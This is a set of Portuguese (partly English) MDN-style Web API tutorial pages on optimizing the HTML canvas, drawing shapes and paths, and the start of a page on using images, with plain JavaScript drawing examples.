{"title":"Otimizando canvas - APIs da Web","text":"Otimizando canvas\n=================\n\n* « Previous\n* Next »\n\nO elemento `<canvas>` é um dos padrões mais largamente utilizados para renderização de gráficos 2D na Web. É muito usado em jogos e em visualizações complexas. Porém, quando sítios web e aplicativos utilizam canvas até seus limites, começam a surgir problemas de perda de performance. Este artigo tem o objetivo de prover sugestões de otimização de seu elemento canvas e garantir que seu site ou aplicativo funcione melhor.\n\nDicas de performance\n--------------------\n\nO que segue é uma coleção de dicas para melhorar a performance.\n\n### Pre-render similar primitives or repeating objects on an off-screen canvas\n\nIf you find yourself with complex drawing operations on each frame, consider creating an offscreen canvas, draw to it once (or whenever it changes) on the offscreen canvas, then on each frame draw the offscreen canvas.\n\n\n```js\nmyEntity.offscreenCanvas = document.createElement(\"canvas\");\nmyEntity.offscreenCanvas.width = myEntity.width;\nmyEntity.offscreenCanvas.height = myEntity.height;\nmyEntity.offscreenContext = myEntity.offscreenCanvas.getContext(\"2d\");\n\nmyEntity.render(myEntity.offscreenContext);\n```\n\n### Avoid floating-point coordinates and use integers instead\n\nSub-pixel rendering occurs when you render objects on a canvas without whole values.\n\n\n```js\nctx.drawImage(myImage, 0.3, 0.5);\n```\n\n\nThis causes the browser to do extra calculations to create the anti-aliasing effect. To avoid this, make sure to round all co-ordinates used in calls to `drawImage()` (en-US) using `Math.floor()`, for example.\n\n### Don't scale images in `drawImage`\n\nCache various sizes of your images on an offscreen canvas when loading as opposed to constantly scaling them in `drawImage()` (en-US).\n\n### Use multiple layered canvases for complex scenes\n\nYou may find you have some elements that are frequently changing and moving around whereas other things (like UI) never change. An optimization in this situation is to create layers using multiple canvas elements.\n\nFor example you could create a UI layer that sits on top of everything and is only drawn during user input. You could create game layer where the frequently updating entities exist and a background layer for entities that rarely update.\n\n\n```html\n<div id=\"stage\">\n  <canvas id=\"ui-layer\" width=\"480\" height=\"320\"></canvas>\n  <canvas id=\"game-layer\" width=\"480\" height=\"320\"></canvas>\n  <canvas id=\"background-layer\" width=\"480\" height=\"320\"></canvas>\n</div>\n\n<style>\n #stage {\n width: 480px;\n height: 320px;\n position: relative;\n border: 2px solid black;\n }\n canvas {\n position: absolute;\n }\n #ui-layer {\n z-index: 3;\n }\n #game-layer {\n z-index: 2;\n }\n #background-layer {\n z-index: 1;\n }\n</style>\n```\n\n### CSS for large background images\n\nIf like most games you have a static background image, use a plain `<div>` element with a CSS `background` property and position it under the canvas. This will avoid drawing a large image to the canvas on every tick.\n\n### Scaling canvas using CSS transforms\n\nCSS transforms (en-US) are faster by using the GPU. Best case is to not scale the canvas or have a smaller canvas and scale up rather than a bigger canvas and scale down. For Firefox OS, target 480 x 320 px.\n\n\n```js\nvar scaleX = window.innerWidth / canvas.width;\nvar scaleY = window.innerHeight / canvas.height;\n\nvar scaleToFit = Math.min(scaleX, scaleY);\nvar scaleToCover = Math.max(scaleX, scaleY);\n\nstage.style.transformOrigin = \"0 0\"; //scale from top left\nstage.style.transform = \"scale(\" + scaleToFit + \")\";\n```\n\n### Turn off transparency\n\nIf your game uses canvas and doesn't need to be transparent, set the `alpha` option to `false` when creating a drawing context with `HTMLCanvasElement.getContext()`. This information can be used internally to optimize rendering.\n\n\n```js\nvar ctx = canvas.getContext(\"2d\", { alpha: false });\n```\n\n### More tips\n\n* Batch canvas calls together (for example, draw a poly-line instead of multiple separate lines).\n* Avoid unnecessary canvas state changes.\n* Render screen differences only, not the whole new state.\n* Avoid the `shadowBlur` (en-US) property whenever possible.\n* Avoid text rendering whenever possible.\n* Try different ways to clear the canvas (`clearRect()` vs. `fillRect()` vs. resizing the canvas)\n* With animations, use `window.requestAnimationFrame()` instead of `window.setInterval()` (en-US) .\n* Be careful with heavy physics libraries\nSee also\n--------\n\n* Improving HTML5 Canvas Performance – HTML5 Rocks\n* Optimizing your JavaScript game for Firefox OS – Mozilla Hacks\n* « Previous\n* Next »"}
{"title":"Desenhando formas com canvas - APIs da Web","text":"Desenhando formas com canvas\n============================\n\n* « Previous\n* Next »\n\nAgora que criamos nosso ambiente em canvas, podemos entrar nos detalhes de como desenhar no canvas. No final deste artigo, você terá aprendido a desenhar retângulos, triângulos, linhas, arcos e curvas, proporcionando familiaridade com algumas das formas básicas. Trabalhar com caminhos (*shapes*) é essencial ao desenhar objetos na tela e veremos como isso pode ser feito.\n\nA grade\n-------\n\n![](/pt-BR/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes/canvas_default_grid.png)Antes que possamos começar a desenhar, precisamos falar sobre a grade de tela ou **espaço de coordenadas**. O modelo HTML na página anterior tinha um elemento canvas de 150 pixels de largura e 150 pixels de altura. À direita, você verá este canvas com a grade padrão sobreposta. Normalmente 1 unidade na grade corresponde a um pixel na tela. A origem desta grade está posicionada no canto superior esquerdo (coordenadas (0,0)). Todos os elementos são colocados em relação a esta origem. Assim, a posição do canto superior esquerdo do quadrado azul, se torna x pixels dos pixels da esquerda e y a partir do topo (coordenadas (x,y)). Mais tarde nesse tutorial vamos ver como podemos traduzir a origem para uma posição diferente, girar a grade e até mesmo escaloná-la. Por enquanto vamos ficar com o padrão.\n\nDesenhando retângulos\n---------------------\n\nDiferente do SVG , o `<canvas>` suporta somente formas primitivas: retângulos. Todas as outras formas são criadas a partir da combinação de um ou mais caminhos (*paths*), lista de pontos conectados por uma linha. Felizmente, temos uma variedade de funções de desenho que tornam possíveis criar formas muito complexas.\n\nPrimeiramente vamos olhar o retângulo. Aqui está listado três funções para desenhar retângulos pelo canvas:\n\n`fillRect(x, y, width, height)`\n\nDesenha um retângulo preenchido.\n\n`strokeRect(x, y, width, height)`\n\nDesenha a borda do retângulo.\n\n`clearRect(x, y, width, height)`\n\nLimpa um retângulo específico, tornando-o totalmente transparente.\n\nCada umas das funções recebem os mesmos parâmetros. `x` e `y` determinam a posição no canvas (em relação a origem) no canto superior esquerdo do retângulo. O `width` (largura) e o `height` (altura) definem o tamanho do retângulo.\n\nAbaixo esta listado a função `draw()` da página anterior, porém utilizando as três funções.\n\n### Exemplo de forma retangular\n```\n\n<html>\n  <body onload=\"draw();\">\n    <canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n  </body>\n</html>\n```\n\n\n\n```js\nfunction draw() {\n  var canvas = document.getElementById(\"canvas\");\n  if (canvas.getContext) {\n    var ctx = canvas.getContext(\"2d\");\n\n    ctx.fillRect(25, 25, 100, 100);\n    ctx.clearRect(45, 45, 60, 60);\n    ctx.strokeRect(50, 50, 50, 50);\n  }\n}\n```\n\n\nO resultado desse exemplo é mostrado abaixo.\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nA função `fillRect()` desenha um grande quadrado preto de 100 pixels. A função `clearRect()` por sua vez apaga um quadrado de 60x60 pixels a partir do centro, por fim, a função `strokeRect()` é chamada para criar uma borda de 50x50 pixels em volta do quadrado apagado.\n\nPosteriormente veremos duas alternativas à função `clearRect()`, nós também aprenderemos como alterar a cor e o estilo das linhas nas camadas renderizadas.\n\nAo contrário das funções de *paths* que veremos na próxima seção, todas as três funções de retângulo desenham imediatamente no canvas.\n\nDesenhando caminhos/regiões (paths)\n-----------------------------------\n\nPara criar uma camada usando caminhos (regiões ou *paths*) é necessário alguns passos extras. Primeiro, cria-se a região de desenho. Depois usa-se comandos de desenho para desenhar nesta região. Por fim, você limita a região (path). Uma vez que a região de desenho está criada, você pode traçar ou preencher o caminho para que seja renderizado. Aqui estão as funções utilizadas para isso:\n\n`beginPath()`\n\nCria um novo path. Uma vez criado, futuros comandos de desenho são direcionados do path atual para a construção de um novo path no canvas.\n\nMétodos de Caminhos (Path)\n\nMétodos para manipuliar diferentes paths para objetos.\n\n`closePath()`\n\nFinaliza o path para futuros comandos de desenho, fazendo com que voltem a ser direcionados ao contexto.\n\n`stroke()`\n\nDesenha uma borda na camada.\n\n`fill()`\n\nDesenha uma forma sólida através de preenchimento.\n\nO primeiro passo para criar um caminho é chamar o `beginPath()`. Internamente, caminhos são armazenados como uma lista de sub-caminhos (linhas, arcos, etc.) que juntos formam uma forma (*shape*). Sempre que esse método é chamado, a lista é redefinida e podemos começar a desenhar novas formas.\n\n**Nota:** Quando o caminho atual está vazio, assim como imediatamente depois de chamar `beginPath()`, ou em uma tela recém-criada, o primeiro comando de construção de caminho é sempre tratado como um `moveTo()`, independentemente do que ele seja realmente. Por essa razão, você quase sempre vai precisar definir especificamente sua posição inicial após redefinir um caminho.\n\nA segunda etapa é chamar os métodos que realmente especificam os caminhos a serem desenhados. Vamos ver isso em breve.\n\nO terceiro, e um passo opcional, é chamar `closePath()`. Este método tenta fechar a forma desenhando uma linha reta do ponto atual para o início. Se a forma (*shape*) já foi fechada ou existe apenas um ponto na lista, esta função não faz nada.\n\n**Nota:** Quando você chama `fill()`, todas as formas abertas são fechadas automaticamente, assim você não precisa chamar `closePath()`. Isso **não acontece** quando você chamar `stroke()`.\n\n### Desenhando um triângulo\n\nPor exemplo, o código para desenhar um triângulo seria algo parecido com isto:\n```\n\n<html>\n  <body onload=\"draw();\">\n    <canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n  </body>\n</html>\n```\n\n\n\n```js\nfunction draw() {\n  var canvas = document.getElementById(\"canvas\");\n  if (canvas.getContext) {\n    var ctx = canvas.getContext(\"2d\");\n\n    ctx.beginPath();\n    ctx.moveTo(75, 50);\n    ctx.lineTo(100, 75);\n    ctx.lineTo(100, 25);\n    ctx.fill();\n  }\n}\n```\n\n\nO resultado se parece com isso:\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n### Desenhando\n\nUma função muito útil, que na verdade não desenha nada, mas torna-se parte da lista de caminhos descritos acima, é a função `moveTo()`. Você provavelmente pode imaginar melhor isso como se fosse o levantar uma caneta ou lápis de um ponto em um pedaço de papel e colocá-lo no próximo ponto.\n\n`moveTo(x, y)`\n\nMove a caneta (*pen*) para as coordenadas especificadas por `x` e `y`.\n\nQuando o canvas é inicializado ou `beginPath()` é chamado, você normalmente vai querer usar a função `moveTo()` para colocar o ponto inicial em outro lugar. Poderíamos também usar `moveTo()` para desenhar caminhos não conectados. Dê uma olhada no rosto sorridente abaixo. Eu marquei os lugares onde eu usei o método `moveTo()` (as linhas vermelhas).\n\nCaso queira tentar fazer isso, você pode usar o snippet de código abaixo. Basta colá-lo na função `draw()` que vimos anteriormente.\n```\n\n<html>\n  <body onload=\"draw();\">\n    <canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n  </body>\n</html>\n```\n\n\n\n```js\nfunction draw() {\n  var canvas = document.getElementById(\"canvas\");\n  if (canvas.getContext) {\n    var ctx = canvas.getContext(\"2d\");\n\n    ctx.beginPath();\n    ctx.arc(75, 75, 50, 0, Math.PI \\* 2, true); // Círculo exterior\n    ctx.moveTo(110, 75);\n    ctx.arc(75, 75, 35, 0, Math.PI, false); // Boca (sentido horário)\n    ctx.moveTo(65, 65);\n    ctx.arc(60, 65, 5, 0, Math.PI \\* 2, true); // Olho esquerdo\n    ctx.moveTo(95, 65);\n    ctx.arc(90, 65, 5, 0, Math.PI \\* 2, true); // Olho direito\n    ctx.stroke();\n  }\n}\n```\n\n\nO resultado aparece como:\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nSe você não gosta de ver linhas conectadas, você pode remover as linhas que chamam a função `moveTo()`.\n\n**Nota:** Para aprender mais sobre a função `arc()`, veja sobre Arcos.\n\n### Linhas\n\nPara desenhar linhas retas, use o método `lineTo().`\n\n`lineTo(x, y)`\n\nDesenha uma linha do ponto atual a até a posição especificada por `x` e `y`.\n\nEsse método recebe dois argumentos, `x` e `y`, que são as coordenadas do ponto final da linha. O ponto inicial é dependente de caminhos previamente desenhados, onde o ponto final do caminho anterior é o ponto inicial para o seguinte, e assim por diante. O ponto inicial também pode ser alterado usando o método `moveTo()`.\n\nO exemplo abaixo desenha dois triângulos, um preenchido e um delineado.\n```\n\n<html>\n  <body onload=\"draw();\">\n    <canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n  </body>\n</html>\n```\n\n\n\n```js\nfunction draw() {\n  var canvas = document.getElementById(\"canvas\");\n  if (canvas.getContext) {\n    var ctx = canvas.getContext(\"2d\");\n\n    // Filled triangle\n    ctx.beginPath();\n    ctx.moveTo(25, 25);\n    ctx.lineTo(105, 25);\n    ctx.lineTo(25, 105);\n    ctx.fill();\n\n    // Stroked triangle\n    ctx.beginPath();\n    ctx.moveTo(125, 125);\n    ctx.lineTo(125, 45);\n    ctx.lineTo(45, 125);\n    ctx.closePath();\n    ctx.stroke();\n  }\n}\n```\n\n\nIsso começa chamando o método `beginPath()` para iniciar um novo *shape path*. Em seguida, usamos o método `moveTo()` para mover o ponto inicial para a posição desejada. Logo abaixo, duas linhas, que compõem os dois lados do triângulo, são desenhadas.\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nVocê notará a diferença entre o triângulo preenchido (*filled*) e não prenchido (*stroked*). Isto ocorre, como mencionado acima, porque as formas são automaticamente fechadas quando um caminho é preenchido, mas não quando são não preenchidos. Se deixássemos de fora o `closePath()` para os triângulos não preenchidos, apenas duas linhas teriam sido desenhadas, não um triângulo completo.\n\n### Arcos\n\nPara desenhar arcos, nós usamos os métodos `arc()` ou `arcTo()`.\n\n`arc(x, y, radius, startAngle, endAngle, anticlockwise)`\n\nDesenha um arco centralizado na posição *(x, y)* com um raio *r* iniciando em *startAngle e* terminando em *endAngle* apontando na direção indicada pelo sentido anti-horário (padronizando para o sentido horário).\n\n`arcTo(x1, y1, x2, y2, radius)`\n\nDesenha um arco com os pontos de controle e raio, conectados ao ponto anterior por uma linha reta.\n\nVamos dar uma olhada mais detalhada sobre o método `arc`, que tem seis parâmetros: `x` e `y` são as coordenadas do centro do círculo em que o arco deve ser desenhado. `radius` é o raio. Os parâmetros `startAngle` e `endAngle` definem os pontos inicial e final do arco em radianos, ao longo da curva do círculo. Estes são medidos a partir do eixo `x`. O parâmetro `anticlockwise` é um valor Booleano que, quando verdadeiro, desenha o arco no sentido anti-horário; Caso contrário, o arco é desenhado no sentido horário.\n\n**Nota:** Os ângulos na função `arc` são medidos em radianos, não em graus. Para converter graus em radianos você pode usar a seguinte expressão JavaScript: `radians = (Math.PI/180)*degrees`.\n\nO exemplo a seguir é um pouco mais complexo do que os que vimos anteriormente. Ele desenha 12 arcos diferentes, todos com diferentes ângulos e preenchimentos.\n\nOs dois laços `for` são para iterar através das linhas e colunas de arcos. Para cada arco, é criado um novo caminho chamando `beginPath()`. No código, cada um dos parâmetros para o arco estão em uma variável somente para demonstração, assim você não precisa fazer isso na vida real.\n\nAs coordenadas `x` e `y` devem ser suficientemente claras. O parâmetros `radius` e `startAngle` são fixos. O `endAngle` começa em 180 graus (metade de um círculo) na primeira coluna e aumenta gradualmente em 90 graus, culminando em um círculo completo na última coluna.\n\nA manipulação do parâmetro `clockwise` faz com que a primeira e terceira linhas sejam desenhadas como arcos no sentido horário, e a segunda e quarta linhas como arcos no sentido anti-horário. Finalmente, a instrução `if` faz com que a metade superior dos arcos não sejam preenchidos e a metade inferior dos arcos sejam.\n\n**Nota:** Este exemplo requer um canvas um pouco maior que as outras desta página: 150 x 200 pixels.\n```\n\n<html>\n  <body onload=\"draw();\">\n    <canvas id=\"canvas\" width=\"150\" height=\"200\"></canvas>\n  </body>\n</html>\n```\n\n\n\n```js\nfunction draw() {\n  var canvas = document.getElementById(\"canvas\");\n  if (canvas.getContext) {\n    var ctx = canvas.getContext(\"2d\");\n\n    for (var i = 0; i < 4; i++) {\n      for (var j = 0; j < 3; j++) {\n        ctx.beginPath();\n        var x = 25 + j \\* 50; // coordenada x\n        var y = 25 + i \\* 50; // coordenada y\n        var radius = 20; // Raio do Arco\n        var startAngle = 0; // Ponto inicial no círculo\n        var endAngle = Math.PI + (Math.PI \\* j) / 2; // Ponto final no círculo\n        var anticlockwise = i % 2 == 0 ? false : true; // horário ou anti-horário\n\n        ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);\n\n        if (i > 1) {\n          ctx.fill();\n        } else {\n          ctx.stroke();\n        }\n      }\n    }\n  }\n}\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n### Curvas de Bézier Cúbicas e Quadráticas\n\nO próximo tipo de caminhos disponíveis são as Curvas de Bézier, disponíveis nas variedades cubícas e quadráticas. Elas são geralmente usadas para desenhar complexas formas orgânicas.\n\n`quadraticCurveTo(cp1x, cp1y, x, y)`\n\nDesenha uma curva de Bézier quadrática da posição atual indicada pelo cursor, até a posição final especificada por `x` e `y`, usando o controle de pontos guiados por `cp1x` `e cp1y`.\n\n`bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)` (en-US)\n\nDesenha uma curva de Bézier cúbica partindo da posição atual indicada pelo cursor, até a posição final especificada por `x` e `y`, usando o controle de pontos guiados por (`cp1x`, `cp1y`) e (cp2x, cp2y).\n\n\n![](/pt-BR/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes/canvas_curves.png)A diferença entre estes métodos pode ser descrita de forma melhor usando a imagem à direita. Uma curva quadrática de Bézier tem um ponto inicial e final (pontos azuis) e apenas um ponto de controle (indicado pelo ponto vermelho) enquanto que uma curva cúbica de Bézier utiliza dois pontos de controles.\n\nOs parâmetros `x` e `y` em ambos os métodos são as coordenadas do ponto final. `cp1x` e `cp1y` são as coordenadas do primeiro ponto de controle, e `cp2x` e `cp2y` são as coordenadas do segundo ponto de controle.\n\nUsando curvas de Bézier quadráticas e cúbicas pode ser algo bastante desafiador, porque ao contrário de um software de desenho vetorial, como o Adobe Illustrator, não temos resultados visuais imediatos sobre o que estamos fazendo. Isso torna bastante difícil desenhar formas complexas. No exemplo a seguir, vamos desenhar algumas formas orgânicas simples, mas se você tiver tempo e, acima de tudo, paciência, formas muito mais complexas podem ser criadas.\n\nNão há nada muito difícil nestes exemplos. Em ambos os casos vemos uma sucessão de curvas sendo desenhadas, resultando no fim, em uma forma (*shape*) completa.\n\n#### Curvas de Bézier Quadráticas\n\nEste exemplo usa múltiplas curvas de Bézier quadráticas para renderizar um balão de fala.\n```\n\n<html>\n  <body onload=\"draw();\">\n    <canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n  </body>\n</html>\n```\n\n\n\n```js\nfunction draw() {\n  var canvas = document.getElementById(\"canvas\");\n  if (canvas.getContext) {\n    var ctx = canvas.getContext(\"2d\");\n\n    // Exemplo de curvas de Bézier quadráticas\n    ctx.beginPath();\n    ctx.moveTo(75, 25);\n    ctx.quadraticCurveTo(25, 25, 25, 62.5);\n    ctx.quadraticCurveTo(25, 100, 50, 100);\n    ctx.quadraticCurveTo(50, 120, 30, 125);\n    ctx.quadraticCurveTo(60, 120, 65, 100);\n    ctx.quadraticCurveTo(125, 100, 125, 62.5);\n    ctx.quadraticCurveTo(125, 25, 75, 25);\n    ctx.stroke();\n  }\n}\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n#### Curvas de Bézier Cúbicas\n\nEste exemplo desenha um coração usando curvas de Bézier cúbicas.\n```\n\n<html>\n  <body onload=\"draw();\">\n    <canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n  </body>\n</html>\n```\n\n\n\n```js\nfunction draw() {\n  var canvas = document.getElementById(\"canvas\");\n  if (canvas.getContext) {\n    var ctx = canvas.getContext(\"2d\");\n\n    // Exemplo de curvas de Bézier cúbicas\n    ctx.beginPath();\n    ctx.moveTo(75, 40);\n    ctx.bezierCurveTo(75, 37, 70, 25, 50, 25);\n    ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5);\n    ctx.bezierCurveTo(20, 80, 40, 102, 75, 120);\n    ctx.bezierCurveTo(110, 102, 130, 80, 130, 62.5);\n    ctx.bezierCurveTo(130, 62.5, 130, 25, 100, 25);\n    ctx.bezierCurveTo(85, 25, 75, 37, 75, 40);\n    ctx.fill();\n  }\n}\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n### Retângulos\n\nAlém dos três métodos que vimos em Desenhando retângulos, que desenham formas retangulares diretamente no canvas, há também o método `rect()`, que adiciona uma forma retangular a um caminho (*path*) atualmente aberto.\n\n`rect(x, y, width, height)`\n\nDesenha um retângulo cujo canto superior esquerdo é especificado por (`x`, `y`) com base em uma largura (`width`) e uma altura (`height`).\n\nQuando este método é executado, o método `moveTo()` é automaticamente chamado com os parâmetros (0,0). Em outras palavras, a posição atual do cursor é automaticamente redefinida para as coordenadas padrões.\n\n### Combinando Elementos\n\nAté agora, em cada exemplo dessa página foi usada apenas um tipo de função de caminho (*path*) para cada forma (*shape*). No entanto, não há nenhuma limitação para o número ou tipos de caminhos que você pode usar para criar um *shape*. Então, neste exemplo final, vamos combinar todas as funções de caminho para fazer um conjunto de personagens de jogo muito conhecido.\n```\n\n<html>\n  <body onload=\"draw();\">\n    <canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n  </body>\n</html>\n```\n\n\n\n```js\nfunction draw() {\n  var canvas = document.getElementById(\"canvas\");\n  if (canvas.getContext) {\n    var ctx = canvas.getContext(\"2d\");\n\n    roundedRect(ctx, 12, 12, 150, 150, 15);\n    roundedRect(ctx, 19, 19, 150, 150, 9);\n    roundedRect(ctx, 53, 53, 49, 33, 10);\n    roundedRect(ctx, 53, 119, 49, 16, 6);\n    roundedRect(ctx, 135, 53, 49, 33, 10);\n    roundedRect(ctx, 135, 119, 25, 49, 10);\n\n    ctx.beginPath();\n    ctx.arc(37, 37, 13, Math.PI / 7, -Math.PI / 7, false);\n    ctx.lineTo(31, 37);\n    ctx.fill();\n\n    for (var i = 0; i < 8; i++) {\n      ctx.fillRect(51 + i \\* 16, 35, 4, 4);\n    }\n\n    for (i = 0; i < 6; i++) {\n      ctx.fillRect(115, 51 + i \\* 16, 4, 4);\n    }\n\n    for (i = 0; i < 8; i++) {\n      ctx.fillRect(51 + i \\* 16, 99, 4, 4);\n    }\n\n    ctx.beginPath();\n    ctx.moveTo(83, 116);\n    ctx.lineTo(83, 102);\n    ctx.bezierCurveTo(83, 94, 89, 88, 97, 88);\n    ctx.bezierCurveTo(105, 88, 111, 94, 111, 102);\n    ctx.lineTo(111, 116);\n    ctx.lineTo(106.333, 111.333);\n    ctx.lineTo(101.666, 116);\n    ctx.lineTo(97, 111.333);\n    ctx.lineTo(92.333, 116);\n    ctx.lineTo(87.666, 111.333);\n    ctx.lineTo(83, 116);\n    ctx.fill();\n\n    ctx.fillStyle = \"white\";\n    ctx.beginPath();\n    ctx.moveTo(91, 96);\n    ctx.bezierCurveTo(88, 96, 87, 99, 87, 101);\n    ctx.bezierCurveTo(87, 103, 88, 106, 91, 106);\n    ctx.bezierCurveTo(94, 106, 95, 103, 95, 101);\n    ctx.bezierCurveTo(95, 99, 94, 96, 91, 96);\n    ctx.moveTo(103, 96);\n    ctx.bezierCurveTo(100, 96, 99, 99, 99, 101);\n    ctx.bezierCurveTo(99, 103, 100, 106, 103, 106);\n    ctx.bezierCurveTo(106, 106, 107, 103, 107, 101);\n    ctx.bezierCurveTo(107, 99, 106, 96, 103, 96);\n    ctx.fill();\n\n    ctx.fillStyle = \"black\";\n    ctx.beginPath();\n    ctx.arc(101, 102, 2, 0, Math.PI \\* 2, true);\n    ctx.fill();\n\n    ctx.beginPath();\n    ctx.arc(89, 102, 2, 0, Math.PI \\* 2, true);\n    ctx.fill();\n  }\n}\n\n// Uma função útil para desenhar um retângulo com cantos arredondados.\n\nfunction roundedRect(ctx, x, y, width, height, radius) {\n  ctx.beginPath();\n  ctx.moveTo(x, y + radius);\n  ctx.lineTo(x, y + height - radius);\n  ctx.quadraticCurveTo(x, y + height, x + radius, y + height);\n  ctx.lineTo(x + width - radius, y + height);\n  ctx.quadraticCurveTo(x + width, y + height, x + width, y + height - radius);\n  ctx.lineTo(x + width, y + radius);\n  ctx.quadraticCurveTo(x + width, y, x + width - radius, y);\n  ctx.lineTo(x + radius, y);\n  ctx.quadraticCurveTo(x, y, x, y + radius);\n  ctx.stroke();\n}\n```\n\n\nO resultado é:\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nNão vamos discutir isso em detalhes, uma vez que é realmente muito simples. As coisas mais importantes a serem observadas são o uso da propriedade `fillStyle` no contexto de desenho e o uso de uma função auxiliar (neste caso `roundedRect()`). Usando funções auxiliares para construir um desenho frequentemente pode ser muito útil, além de reduzir a quantidade de código que você precisa, bem como a sua complexidade.\n\nVamos dar uma nova olhada em `fillStyle`, em mais detalhes, mais adiante neste tutorial. Aqui, tudo o que estamos fazendo é apenas usando-o para alterar sucessivamente a cor de preenchimento dos caminhos (*paths*) de cor preta (padrão) para branca.\n\nPath2D\n------\n\n Como vimos no último exemplo, pode haver uma série de *paths* e comandos de desenho para desenhar objetos em sua tela. Para simplificar o código e melhorar o desempenho, o objeto `Path2D`, disponível em versões recentes dos navegadores, permite armazenar em cache ou gravar esses comandos de desenho. Com ele, você pode construir seus *paths* rapidamente.\n Vamos ver como podemos construir um objeto de `Path2D`:\n\n`Path2D()` (en-US)\n\nO construtor de **`Path2D()`** retorna um objeto `Path2D` instanciado recentemente, opcionalmente através de um outro objeto `Path2D` como argumento (cria uma cópia) ou, opcionalmente, com uma *string* que representam dados de *paths* em SVG (en-US).\n\n\n```js\nnew Path2D(); // objeto vazio de Path2D\nnew Path2D(path); // cópia de outro objeto de Path2D\nnew Path2D(d); // objeto criado a partir de paths em SVG\n```\n\n\nTodos os métodos de caminho (path methods) como `moveTo`, `rect`, `arc` ou `quadraticCurveTo`, etc., que temos de saber acima, estão disponíveis em `Path2D`.\n\nA API `Path2D` também adiciona uma maneira de combinar caminhos usando o método `addPath`. Isso pode ser útil quando você deseja criar objetos com vários componentes, por exemplo.\n\n`Path2D.addPath(path [, transform])` (en-US)\n\nAdiciona um `path` para o `path` atual através de uma matriz de transformação opcional.\n\n### Exemplo de Path2D\n\nNeste exemplo, estamos criando um retângulo e um círculo. Ambos são armazenados como um objeto de `Path2D`, de modo que eles estão disponíveis para uso posterior. Com a nova API `Path2D`, vários métodos foram atualizados como, por exemplo, opcionalmente usar um objeto `Path2D` em vez do `path` atual. Aqui, os métodos `stroke` e `fill` são usados, com um argumento de *path*, para desenhar ambos os objetos na tela, por exemplo.\n```\n\n<html>\n  <body onload=\"draw();\">\n    <canvas id=\"canvas\" width=\"130\" height=\"100\"></canvas>\n  </body>\n</html>\n```\n\n\n\n```js\nfunction draw() {\n  var canvas = document.getElementById(\"canvas\");\n  if (canvas.getContext) {\n    var ctx = canvas.getContext(\"2d\");\n\n    var rectangle = new Path2D();\n    rectangle.rect(10, 10, 50, 50);\n\n    var circle = new Path2D();\n    circle.moveTo(125, 35);\n    circle.arc(100, 35, 25, 0, 2 \\* Math.PI);\n\n    ctx.stroke(rectangle);\n    ctx.fill(circle);\n  }\n}\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n### Usando *paths* em SVG\n\nOutro recurso poderoso da nova API de Path2D é a utilização de dados de *path* em SVG para inicializar caminhos (*paths*) no canvas. Isso permite que você crie dados de *paths* que possam ser utilizados tanto no SVG como no canvas.\n\nO caminho se moverá para o ponto `(M10 10)` e então se moverá horizontalmente 80 pontos para a direita `(h 80)`, depois 80 pontos para baixo `(v 80)`, então 80 pontos para a esquerda (h -80) e, por fim, volta para o início (`z`). Você pode ver este exemplo na página do construtor do Path2D (en-US).\n\n\n```js\nvar p = new Path2D(\"M10 10 h 80 v 80 h -80 Z\");\n```\n\n* « Previous\n* Next »"}
{"title":"Using images - APIs da Web","text":"Using images\n============\n\n* « Previous\n* Next » (en-US)\n\nAté agora nós criamos nossos próprios shapes e aplicamos estilos(applied styles) a eles. Um dos recursos mais interessantes do `<canvas>` é a capacidade de usar imagens. Eles podem ser usados para composição dinâmica de fotos ou como pano de fundo de gráficos, como sprites em jogos e assim por diante. Imagens externas podem ser usadas em qualquer formato suportado pelo navegador, tais como PNG, GIF, ou JPEG. Você pode até usar a imagem produzida por outros elementos da tela na mesma página que a fonte!\n\nA importação de imagens para o canvas é basicamente um processo de duas etapas:\n\n1. Obter uma referência a um objeto `HTMLImageElement` (en-US) ou a outro elemento do canvas como fonte. Também é possível usar imagens fornecendo uma URL.\n2. Desenhar a imagem no canvas usando a função `drawImage()` .\n\nVamos dar uma olhada em como fazer isso.\n\nGetting images to draw\n----------------------\n\nThe canvas API is able to use any of the following data types as an image source:\n\n`HTMLImageElement` (en-US)\n\nThese are images created using the `Image()` constructor, as well as any `<img>` element.\n\n`SVGImageElement` (en-US)\n\nThese are images embedded using the `<image>` element.\n\n`HTMLVideoElement` (en-US)\n\nUsing an HTML `<video>` element as your image source grabs the current frame from the video and uses it as an image.\n\n`HTMLCanvasElement` (en-US)\n\nYou can use another `<canvas>` element as your image source.\n\nThese sources are collectively referred to by the type `CanvasImageSource` (en-US).\n\nThere are several ways to get images for use on a canvas.\n\n### Using images from the same page\n\nWe can obtain a reference to images on the same page as the canvas by using one of:\n\n* The `document.images` collection\n* The `document.getElementsByTagName()` (en-US) method\n* If you know the ID of the specific image you wish to use, you can use `document.getElementById()` to retrieve that specific image\n### Using images from other domains\n\nUsing the `crossorigin` attribute of an `<img>` element (reflected by the `HTMLImageElement.crossOrigin` (en-US) property), you can request permission to load an image from another domain for use in your call to `drawImage()`. If the hosting domain permits cross-domain access to the image, the image can be used in your canvas without tainting it; otherwise using the image will taint the canvas (en-US).\n\n### Using other canvas elements\n\nJust as with normal images, we access other canvas elements using either the `document.getElementsByTagName()` (en-US) or `document.getElementById()` method. Be sure you've drawn something to the source canvas before using it in your target canvas.\n\nOne of the more practical uses of this would be to use a second canvas element as a thumbnail view of the other larger canvas.\n\n### Creating an image from scratch\n\nAnother option is to create new `HTMLImageElement` (en-US) objects in our 